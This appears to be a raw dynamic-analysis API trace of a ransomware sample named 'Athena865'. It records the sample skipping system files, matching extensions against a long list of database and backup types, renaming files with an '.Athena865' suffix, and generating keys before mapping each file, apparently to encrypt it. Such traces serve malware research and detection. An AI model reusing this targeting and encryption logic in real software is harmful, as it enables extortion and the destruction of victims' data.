[0129.031] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.031] lstrlenW (lpString="cat") returned 3 [0129.031] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.031] lstrlenW (lpString="cdb") returned 3 [0129.031] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.031] lstrlenW (lpString="ckp") returned 3 [0129.031] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.031] lstrlenW (lpString="cma") returned 3 [0129.031] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.031] lstrlenW (lpString="cpd") returned 3 [0129.031] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.031] lstrlenW (lpString="dacpac") returned 6 [0129.031] lstrcmpiW (lpString1="97.WMF", lpString2="dacpac") returned -1 [0129.031] lstrlenW (lpString="dad") returned 3 [0129.031] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.031] lstrlenW (lpString="dadiagrams") returned 10 [0129.031] lstrcmpiW (lpString1="239997.WMF", lpString2="dadiagrams") returned -1 [0129.031] lstrlenW (lpString="daschema") returned 8 [0129.031] lstrcmpiW (lpString1="9997.WMF", lpString2="daschema") returned -1 [0129.031] lstrlenW (lpString="db-journal") returned 10 [0129.031] lstrcmpiW (lpString1="239997.WMF", lpString2="db-journal") returned -1 [0129.031] lstrlenW (lpString="db-shm") returned 6 [0129.032] lstrcmpiW (lpString1="97.WMF", lpString2="db-shm") returned -1 [0129.032] lstrlenW (lpString="db-wal") returned 6 [0129.032] lstrcmpiW (lpString1="97.WMF", lpString2="db-wal") returned -1 [0129.032] lstrlenW (lpString="dbc") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.032] lstrlenW (lpString="dbs") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.032] lstrlenW (lpString="dbt") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.032] lstrlenW (lpString="dbv") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.032] lstrlenW (lpString="dbx") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.032] lstrlenW (lpString="dcb") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.032] lstrlenW (lpString="dct") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.032] lstrlenW (lpString="dcx") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.032] lstrlenW (lpString="ddl") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.032] lstrlenW (lpString="dlis") returned 4 [0129.032] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.032] lstrlenW (lpString="dp1") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.032] lstrlenW (lpString="dqy") returned 3 [0129.032] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.032] lstrlenW (lpString="dsk") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.033] lstrlenW (lpString="dsn") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.033] lstrlenW (lpString="dtsx") returned 4 [0129.033] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.033] lstrlenW (lpString="dxl") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.033] lstrlenW (lpString="eco") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.033] lstrlenW (lpString="ecx") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.033] lstrlenW (lpString="edb") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.033] lstrlenW (lpString="epim") returned 4 [0129.033] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.033] lstrlenW (lpString="fcd") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.033] lstrlenW (lpString="fdb") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.033] lstrlenW (lpString="fic") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.033] lstrlenW (lpString="flexolibrary") returned 12 [0129.033] lstrlenW (lpString="fm5") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.033] lstrlenW (lpString="fmp") returned 3 [0129.033] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.033] lstrlenW (lpString="fmp12") returned 5 [0129.033] lstrcmpiW (lpString1="7.WMF", lpString2="fmp12") returned -1 [0129.033] lstrlenW (lpString="fmpsl") returned 5 [0129.034] lstrcmpiW (lpString1="7.WMF", lpString2="fmpsl") returned -1 [0129.034] lstrlenW (lpString="fol") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.034] lstrlenW (lpString="fp3") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.034] lstrlenW (lpString="fp4") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.034] lstrlenW (lpString="fp5") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.034] lstrlenW (lpString="fp7") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.034] lstrlenW (lpString="fpt") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.034] lstrlenW (lpString="frm") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.034] lstrlenW (lpString="gdb") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.034] lstrlenW (lpString="gdb") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.034] lstrlenW (lpString="grdb") returned 4 [0129.034] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.034] lstrlenW (lpString="gwi") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.034] lstrlenW (lpString="hdb") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.034] lstrlenW (lpString="his") returned 3 [0129.034] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.034] lstrlenW (lpString="ib") returned 2 [0129.035] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.035] lstrlenW (lpString="idb") returned 3 [0129.035] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.035] lstrlenW (lpString="ihx") returned 3 [0129.035] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.035] lstrlenW (lpString="itdb") returned 4 [0129.035] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.035] lstrlenW (lpString="itw") returned 3 [0129.035] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.035] lstrlenW (lpString="jet") returned 3 [0129.035] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.035] lstrlenW (lpString="jtx") returned 3 [0129.035] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.035] lstrlenW (lpString="kdb") returned 3 [0129.035] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.035] lstrlenW (lpString="kexi") returned 4 [0129.035] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.035] lstrlenW (lpString="kexic") returned 5 [0129.035] lstrcmpiW (lpString1="7.WMF", lpString2="kexic") returned -1 [0129.035] lstrlenW (lpString="kexis") returned 5 [0129.035] lstrcmpiW (lpString1="7.WMF", lpString2="kexis") returned -1 [0129.035] lstrlenW (lpString="lgc") returned 3 [0129.035] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.035] lstrlenW (lpString="lwx") returned 3 [0129.035] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.035] lstrlenW (lpString="maf") returned 3 [0129.035] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.036] lstrlenW (lpString="maq") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.036] lstrlenW (lpString="mar") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.036] lstrlenW (lpString="marshal") returned 7 [0129.036] lstrcmpiW (lpString1="997.WMF", lpString2="marshal") returned -1 [0129.036] lstrlenW (lpString="mas") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.036] lstrlenW (lpString="mav") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.036] lstrlenW (lpString="maw") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.036] lstrlenW (lpString="mdbhtml") returned 7 [0129.036] lstrcmpiW (lpString1="997.WMF", lpString2="mdbhtml") returned -1 [0129.036] lstrlenW (lpString="mdn") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.036] lstrlenW (lpString="mdt") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.036] lstrlenW (lpString="mfd") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.036] lstrlenW (lpString="mpd") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.036] lstrlenW (lpString="mrg") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.036] lstrlenW (lpString="mud") returned 3 [0129.036] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.036] lstrlenW (lpString="mwb") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.037] lstrlenW (lpString="myd") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.037] lstrlenW (lpString="ndf") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.037] lstrlenW (lpString="nnt") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.037] lstrlenW (lpString="nrmlib") returned 6 [0129.037] lstrcmpiW (lpString1="97.WMF", lpString2="nrmlib") returned -1 [0129.037] lstrlenW (lpString="ns2") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.037] lstrlenW (lpString="ns3") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.037] lstrlenW (lpString="ns4") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.037] lstrlenW (lpString="nsf") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.037] lstrlenW (lpString="nv") returned 2 [0129.037] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.037] lstrlenW (lpString="nv2") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.037] lstrlenW (lpString="nwdb") returned 4 [0129.037] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.037] lstrlenW (lpString="nyf") returned 3 [0129.037] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.037] lstrlenW (lpString="odb") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.038] lstrlenW (lpString="odb") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.038] lstrlenW (lpString="oqy") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.038] lstrlenW (lpString="ora") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.038] lstrlenW (lpString="orx") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.038] lstrlenW (lpString="owc") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.038] lstrlenW (lpString="p96") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.038] lstrlenW (lpString="p97") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.038] lstrlenW (lpString="pan") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.038] lstrlenW (lpString="pdb") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.038] lstrlenW (lpString="pdm") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.038] lstrlenW (lpString="pnz") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.038] lstrlenW (lpString="qry") returned 3 [0129.038] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.038] lstrlenW (lpString="qvd") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.039] lstrlenW (lpString="rbf") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.039] lstrlenW (lpString="rctd") returned 4 [0129.039] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.039] lstrlenW (lpString="rod") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.039] lstrlenW (lpString="rodx") returned 4 [0129.039] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.039] lstrlenW (lpString="rpd") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.039] lstrlenW (lpString="rsd") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.039] lstrlenW (lpString="sas7bdat") returned 8 [0129.039] lstrcmpiW (lpString1="9997.WMF", lpString2="sas7bdat") returned -1 [0129.039] lstrlenW (lpString="sbf") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.039] lstrlenW (lpString="scx") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.039] lstrlenW (lpString="sdb") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.039] lstrlenW (lpString="sdc") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.039] lstrlenW (lpString="sdf") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.039] lstrlenW (lpString="sis") returned 3 [0129.039] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.039] lstrlenW (lpString="spq") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.040] lstrlenW (lpString="te") returned 2 [0129.040] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.040] lstrlenW (lpString="teacher") returned 7 [0129.040] lstrcmpiW (lpString1="997.WMF", lpString2="teacher") returned -1 [0129.040] lstrlenW (lpString="tmd") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.040] lstrlenW (lpString="tps") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.040] lstrlenW (lpString="trc") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.040] lstrlenW (lpString="trc") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.040] lstrlenW (lpString="trm") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.040] lstrlenW (lpString="udb") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.040] lstrlenW (lpString="udl") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.040] lstrlenW (lpString="usr") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.040] lstrlenW (lpString="v12") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.040] lstrlenW (lpString="vis") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.040] lstrlenW (lpString="vpd") returned 3 [0129.040] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.040] lstrlenW (lpString="vvv") returned 3 [0129.041] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.041] lstrlenW (lpString="wdb") returned 3 [0129.041] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.041] lstrlenW (lpString="wmdb") returned 4 [0129.041] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.041] lstrlenW (lpString="wrk") returned 3 [0129.041] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.041] lstrlenW (lpString="xdb") returned 3 [0129.041] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.041] lstrlenW (lpString="xld") returned 3 [0129.041] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.041] lstrlenW (lpString="xmlff") returned 5 [0129.041] lstrcmpiW (lpString1="7.WMF", lpString2="xmlff") returned -1 [0129.041] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.Athena865") returned 73 [0129.041] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.athena865"), dwFlags=0x1) returned 1 [0129.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.043] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3288) returned 1 [0129.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.043] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.044] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.044] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.044] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfe0, lpName=0x0) returned 0x154 [0129.046] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfe0) returned 0x100000 [0129.046] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.047] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.047] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.048] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.048] CloseHandle (hObject=0x154) returned 1 [0129.048] CloseHandle (hObject=0x17c) returned 1 [0129.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.048] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1 [0129.048] lstrcmpiW (lpString1="J0240157.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.048] lstrcmpiW (lpString1="J0240157.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.048] lstrcmpiW (lpString1="J0240157.WMF", lpString2=".") returned 1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="..") returned 1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="windows") returned -1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="bootmgr") returned 1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="temp") returned -1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="pagefile.sys") returned -1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="boot") returned 1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="ids.txt") returned 1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="ntuser.dat") returned -1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="perflogs") returned -1 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2="MSBuild") returned -1 [0129.049] lstrlenW (lpString="J0240157.WMF") returned 12 [0129.049] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0240157.WMF" | out: lpString1="J0240157.WMF") returned="J0240157.WMF" [0129.049] lstrlenW (lpString="J0240157.WMF") returned 12 [0129.049] lstrlenW (lpString="Athena865") returned 9 [0129.049] lstrcmpiW (lpString1="40157.WMF", lpString2="Athena865") returned -1 [0129.049] lstrlenW (lpString=".dll") returned 4 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2=".dll") returned 1 [0129.049] lstrlenW (lpString=".lnk") returned 4 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2=".lnk") returned 1 [0129.049] lstrlenW (lpString=".ini") returned 4 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2=".ini") returned 1 [0129.049] lstrlenW (lpString=".sys") returned 4 [0129.049] lstrcmpiW (lpString1="J0240157.WMF", lpString2=".sys") returned 1 [0129.049] lstrlenW (lpString="J0240157.WMF") returned 12 [0129.049] lstrlenW (lpString="bak") returned 3 [0129.049] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.049] lstrlenW (lpString="ba_") returned 3 [0129.049] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.050] lstrlenW (lpString="dbb") returned 3 [0129.050] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.050] lstrlenW (lpString="vmdk") returned 4 [0129.050] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.050] lstrlenW (lpString="rar") returned 3 [0129.050] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.050] lstrlenW (lpString="zip") returned 3 [0129.050] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.050] lstrlenW (lpString="tgz") returned 3 [0129.050] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.050] lstrlenW (lpString="vbox") returned 4 [0129.050] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.050] lstrlenW (lpString="vdi") returned 3 [0129.050] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.050] lstrlenW (lpString="vhd") returned 3 [0129.050] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.050] lstrlenW (lpString="vhdx") returned 4 [0129.050] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.050] lstrlenW (lpString="avhd") returned 4 [0129.050] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.050] lstrlenW (lpString="db") returned 2 [0129.050] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.050] lstrlenW (lpString="db2") returned 3 [0129.050] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.050] lstrlenW (lpString="db3") returned 3 [0129.050] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.050] lstrlenW (lpString="dbf") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.051] lstrlenW (lpString="mdf") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.051] lstrlenW (lpString="mdb") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.051] lstrlenW (lpString="sql") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.051] lstrlenW (lpString="sqlite") returned 6 [0129.051] lstrcmpiW (lpString1="57.WMF", lpString2="sqlite") returned -1 [0129.051] lstrlenW (lpString="sqlite3") returned 7 [0129.051] lstrcmpiW (lpString1="157.WMF", lpString2="sqlite3") returned -1 [0129.051] lstrlenW (lpString="sqlitedb") returned 8 [0129.051] lstrcmpiW (lpString1="0157.WMF", lpString2="sqlitedb") returned -1 [0129.051] lstrlenW (lpString="xml") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.051] lstrlenW (lpString="$er") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.051] lstrlenW (lpString="4dd") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.051] lstrlenW (lpString="4dl") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.051] lstrlenW (lpString="^^^") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.051] lstrlenW (lpString="abs") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.051] lstrlenW (lpString="abx") returned 3 [0129.051] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.052] lstrlenW (lpString="accdb") returned 5 [0129.052] lstrcmpiW (lpString1="7.WMF", lpString2="accdb") returned -1 [0129.052] lstrlenW (lpString="accdc") returned 5 [0129.052] lstrcmpiW (lpString1="7.WMF", lpString2="accdc") returned -1 [0129.052] lstrlenW (lpString="accde") returned 5 [0129.052] lstrcmpiW (lpString1="7.WMF", lpString2="accde") returned -1 [0129.052] lstrlenW (lpString="accdr") returned 5 [0129.052] lstrcmpiW (lpString1="7.WMF", lpString2="accdr") returned -1 [0129.052] lstrlenW (lpString="accdt") returned 5 [0129.052] lstrcmpiW (lpString1="7.WMF", lpString2="accdt") returned -1 [0129.052] lstrlenW (lpString="accdw") returned 5 [0129.052] lstrcmpiW (lpString1="7.WMF", lpString2="accdw") returned -1 [0129.052] 